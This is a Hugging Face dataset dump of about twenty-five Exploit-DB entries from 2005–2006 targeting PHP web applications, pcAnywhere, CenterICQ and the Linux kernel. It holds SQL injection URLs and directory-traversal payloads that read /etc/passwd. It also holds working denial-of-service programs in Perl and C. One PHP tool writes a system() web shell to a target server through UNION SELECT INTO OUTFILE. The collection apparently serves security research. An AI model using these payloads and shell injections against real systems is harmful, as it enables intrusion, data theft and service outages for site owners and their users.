QLWD/code_shield huggingface dataset:
标题: SoftBiz B2B trading Marketplace Script 1.1 - 'products.php?cid' SQL Injection EDB-ID: 26671 CVE: 2005-3937 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15652/info
  
Softbiz B2B Trading Marketplace is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Versions 1.1 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/products.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/26671
标题: FAQRing 3.0 - 'answer.php' SQL Injection EDB-ID: 26678 CVE: 2005-3882 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15655/info

FAQRing is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 3.0 and prior are reported to be vulnerable; other versions may also be affected.

http://www.example.com/answer.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26678
标题: PHP Photo Album 0.2.3/4.1 - Local File Inclusion EDB-ID: 26668 CVE: 2005-3948 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15651/info

phpAlbum is prone to a local file-include vulnerability.

An attacker may leverage this issue to execute arbitrary server-side script code that resides on an affected computer with the privileges of the webserver process.

Note that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the webserver.

phpAlbum 0.2.3 and prior versions are vulnerable.

http://www.example.com/main.php?cmd=../
http://www.example.com/main.php?cmd=album&var1=../ URL: https://www.exploit-db.com/exploits/26668
标题: WSN Knowledge Base 1.2 - 'memberlist.php?id' SQL Injection EDB-ID: 26681 CVE: 2005-3939 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15656/info
  
WSN Knowledge Base is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/memberlist.php?action=profile&id=1[SQL] URL: https://www.exploit-db.com/exploits/26681
标题: SoftBiz B2B trading Marketplace Script 1.1 - 'selloffers.php?cid' SQL Injection EDB-ID: 26669 CVE: 2005-3937 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15652/info

Softbiz B2B Trading Marketplace is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/selloffers.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/26669
标题: SoftBiz B2B trading Marketplace Script 1.1 - 'buyoffers.php?cid' SQL Injection EDB-ID: 26670 CVE: 2005-3937 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15652/info
 
Softbiz B2B Trading Marketplace is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 1.1 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/buyoffers.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/26670
标题: SoftBiz FAQ 1.1 - 'refer_friend.php?id' SQL Injection EDB-ID: 26675 CVE: 2005-3938 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15653/info
  
Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/refer_friend.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26675
标题: SoftBiz FAQ 1.1 - 'faq_qanda.php?id' SQL Injection EDB-ID: 26674 CVE: 2005-3938 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15653/info
 
Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/faq_qanda.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26674
标题: SoftBiz FAQ 1.1 - 'index.php?cid' SQL Injection EDB-ID: 26673 CVE: 2005-3938 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15653/info

Softbiz FAQ is prone to multiple SQL injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?cid=[SQL] URL: https://www.exploit-db.com/exploits/26673
标题: WSN Knowledge Base 1.2 - 'index.php' Multiple SQL Injections EDB-ID: 26679 CVE: 2005-3939 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15656/info

WSN Knowledge Base is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/index.php?action=displaycat&catid=1[SQL]

http://www.example.com/index.php?todo=orderlinks&action=displaycat&
catid=1&orderlinks=id&ascdesc=desc&perpage=1[SQL]

http://www.example.com/index.php?todo=orderlinks&action=displaycat&
catid=1&orderlinks=id&ascdesc=1[SQL]

http://www.example.com/index.php?todo=orderlinks&action=displaycat&
catid=1&orderlinks=[SQL] URL: https://www.exploit-db.com/exploits/26679
标题: pcAnywhere 8.0/9.0/11.x - Authentication Denial of Service EDB-ID: 26665 CVE: 2005-3934 类型: DOS 平台: WINDOWS 发布日期: 2006-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/15646/info

Symantec pcAnywhere is vulnerable to a buffer overflow vulnerability. Because the flaw can be triggered prior to authentication, the vulnerability is exploitable by remote attackers without valid credentials. It is confirmed that the vulnerability can be exploited to cause a denial of service. Supported versions 11.0.1 and 11.5.1 are confirmed affected. Previous versions are vulnerable and users are advised to upgrade to the latest supported version.

Patches are available. 

#!/usr/bin/perl -w
# Version 2.0
#
# PoC for
# pcAnywhere Authentication Denial of Service Vulnerability
# Bugtraq ID:  15646
#
# Tested on pcanywhere v11.0 and v11.0.1
#
# Author: David Maciejak
# Date: 20060117
#
##############################

use IO::Socket;

if (@ARGV<1)
{
 die "usage: $0 pcanywhere_ip [port]";
}

$host=$ARGV[0];
$port=$ARGV[1] || 5631;

$|=1;

$cl1="\x00\x00\x00\x00";
$cl2="\x6F\x06\xff"; 
$cl3="\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00";
$cl4="\x6f\x62\x01\x02\x00\x00\x00";

$sock = IO::Socket::INET->new( PeerAddr => $host,
      PeerPort => $port,
     Proto => 'tcp'
   );
  
die "Could not create socket: $! \n" unless $sock;

$sock->send($cl1);
$sock->recv($buff,32768);
$sock->send($cl2 x 50);
$sock->recv($buff,32768);
$sock->send($cl3 x 50);
$sock->recv($buff,32768);
$sock->send($cl4);
$sock->recv($buff,32768);

$str='\x06'.'\x04'.'\0xffffffc0'x300;
$sock->send($str x 50);
close $sock; URL: https://www.exploit-db.com/exploits/26665
标题: CenterICQ 4.20/4.5 - Packet Handling Remote Denial of Service EDB-ID: 26666 CVE: 2005-3694 类型: DOS 平台: LINUX 发布日期: 2005-11-29 漏洞利用脚本: // source: https://www.securityfocus.com/bid/15649/info

CenterICQ is prone to a remote denial-of-service vulnerability.

The vulnerability presents itself when the client is running on a computer that is directly connected to the Internet and handles malformed packets on the listening port for ICQ messages.

A successful attack can cause the client to crash. 

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define DEST_IP   "192.168.1.33"
#define DEST_PORT 7777

    main()
    {
        int sockfd;
        struct sockaddr_in dest_addr;   // will hold the destination addr

        sockfd = socket(AF_INET, SOCK_STREAM, 0); // do some error checking!

        dest_addr.sin_family = AF_INET;          // host byte order
        dest_addr.sin_port = htons(DEST_PORT);   // short, network byte order
        dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
        memset(&(dest_addr.sin_zero), '\0', 8);  // zero the rest of the struct

        // don't forget to error check the connect()!
        connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
 char *msg[] = { 0x01 };
 send(sockfd, msg, 1, 0);
} URL: https://www.exploit-db.com/exploits/26666
标题: Orca Ringmaker 2.3 - 'Ringmaker.php' SQL Injection EDB-ID: 26658 CVE: 2005-3940 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15639/info

Orca Ringmaker is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 2.3c is vulnerable; other versions may also be affected. 

http://www.example.com/ringmaker?start=[SQL] URL: https://www.exploit-db.com/exploits/26658
标题: Orca KnowledgeBase 2.1 - 'KnowledgeBase.php' SQL Injection EDB-ID: 26656 CVE: 2005-3942 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15637/info

Orca Knowledgebase is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 2.1b is vulnerable; other versions may also be affected. 

http://www.example.com/knowledgebase?qid=[SQL] URL: https://www.exploit-db.com/exploits/26656
标题: FAQ System 1.1 - 'index.php?category_id' SQL Injection EDB-ID: 26660 CVE: 2005-3943 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15640/info
 
FAQ System is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Versions 1.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?SEARCH_KEYS=&CATEGORY_ID=[SQL] URL: https://www.exploit-db.com/exploits/26660
标题: SocketKB 1.1 - 'index.php' SQL Injection EDB-ID: 26667 CVE: 2005-3935 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/15650/info

SocketKB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/?__f=category&node=[SQL]
http://www.example.com/?__f=rating_add&art_id=[SQL] URL: https://www.exploit-db.com/exploits/26667
标题: Survey System 1.1 - 'survey.php' SQL Injection EDB-ID: 26661 CVE: 2005-3944 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15641/info

Survey System is prone to multiple SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/survey.php?SURVEY_ID=[SQL] URL: https://www.exploit-db.com/exploits/26661
标题: Orca Blog 1.3 - 'blog.php' SQL Injection EDB-ID: 26657 CVE: 2005-3941 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15638/info

Orca Blog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.3b is vulnerable; other versions may also be affected. 

http://www.example.com/blog?msg=[SQL] URL: https://www.exploit-db.com/exploits/26657
标题: N-13 News 1.2 - SQL Injection EDB-ID: 26662 CVE: 2005-3930 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15643/info

N-13 News is prone to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

All versions of N-13 News are considered to be affected at the moment.

<?php

###             0 day -- 29/11/2005
###
###     N-13 News Remote SQL / PHP-Shell Injection
###
###     Just upload in a web-server with mod_php
###     and run it trhough your browser ;)
###
###     Affected Software : http://network-13.com/  N-13 News
###     Version: All
###     Exploit discovere and written by: KingOfSka @ http://contropotere.altervista.org
###     Condition: Magic Quotes OFF
###                A world writeable directory accessible trough HTTP
###     To detect Server Path to N-13 just visit: http://www.site.com/n13/index.php?id=0'
###
?>
<html>
<head>
<title> .::KingOfSka N-13 News Remote PHP Shell Injection::. || http://contropotere.altervista.org || </title>
</head>
<body>
<header> .::KingOfSka N-13 News PHP Shell Injection::. || <a href = "http://contropotere.altervista.org/limbo/"> Contro Potere Hacking Crew </a> || </header> <br />
<br />
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$path2news = $_POST['path2news'];
$outfile = $_POST ['outfile'];
$sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile";
$sql = urlencode($sql);
$expurl= $url."?id=".$sql ;
echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';
echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results";
}
else
{
?>
Url to index.php: <br />
<form action = "<?php echo "$_SERVER[PHP_SELF]" ; ?>" method = "post">
<input type = "text" name = "url" value = "http://www.site.com/n13/index.php" size = "50"> <br />
Server Path to Shell: <br />
Full server path to a writable file which will contain the Php Shell <br />
<input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50"> <br /> <br />
<input type = "submit" value = "Create Exploit"> <br /> <br />



<?php
}
?>
</body>
</html> URL: https://www.exploit-db.com/exploits/26662
标题: FAQ System 1.1 - 'viewFAQ.php' Multiple SQL Injections EDB-ID: 26659 CVE: 2005-3943 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15640/info

FAQ System is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.1 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/viewFAQ.php?action=edit&FAQ_ID=[SQL]
http://www.example.com/viewFAQ.php?action=[SQL] URL: https://www.exploit-db.com/exploits/26659
标题: GhostScripter Amazon Shop 5.0 - 'search.php' SQL Injection EDB-ID: 26653 CVE: 2005-3908 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15634/info

GhostScripter Amazon Shop is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

GhostScripter Amazon Shop 5.0.0 and prior versions are vulnerable; other versions may also be affected. 


http://www.example.com/search.php?query=%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&mode=all&imageField.x=21&imageField.y=4 URL: https://www.exploit-db.com/exploits/26653
标题: BosDates 4.0 - Multiple SQL Injections EDB-ID: 26651 CVE: 2005-3911 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15632/info

BosDates is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 4.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/calendar.phptype=day&calendar=&category=&day=25&month=11&year=[SQL]

http://www.example.com/calendar.php?type=day&calendar=
&category=[SQL] URL: https://www.exploit-db.com/exploits/26651
标题: PHP Doc System 1.5.1 - Local File Inclusion EDB-ID: 26643 CVE: 2005-3878 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15611/info

PHP Doc System is prone to a local file-include vulnerability. This is due to the application's failure to properly sanitize user-supplied input.

This may facilitate the unauthorized viewing of files and unauthorized execution of local PHP code.

PHP Doc System 1.5.1 and prior versions are reported vulnerable; other versions may also be affected. 

http://www.example.com/index.php?show=../File URL: https://www.exploit-db.com/exploits/26643
标题: DMANews 0.9 - Multiple SQL Injections EDB-ID: 26649 CVE: 2005-3956 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15628/info

DMANews is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 0.904 and 0.910 are vulnerable; other versions may also be affected. 

http://www.example.com/index.php?action=comments&id=[sq]
http://www.example.com/index.php?action=news_list&display_num=[sql]
http://www.example.com/index.php?action=news_list&sortorder=[sql] URL: https://www.exploit-db.com/exploits/26649
标题: Linux Kernel 2.6.x - Time_Out_Leases PrintK Local Denial of Service EDB-ID: 26648 CVE: 2005-3857 类型: DOS 平台: LINUX 发布日期: 2005-11-29 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/15627/info

Linux kernel is susceptible to a local denial-of-service vulnerability.

Local attackers may trigger this issue by obtaining numerous file-lock leases, which will consume excessive kernel log memory. Once the leases timeout, the event will be logged, and kernel memory will be consumed.

This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and a denial of service for legitimate users.

Kernel versions prior to 2.6.15-rc3 are vulnerable to this issue. 
*/

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    

    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

} URL: https://www.exploit-db.com/exploits/26648
标题: PHP Upload Center - 'index.php' Directory Traversal EDB-ID: 26646 CVE: 2005-3947 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/15621/info

PHP Upload Center is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

An attacker can exploit this issue to retrieve arbitrary remote files on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/26646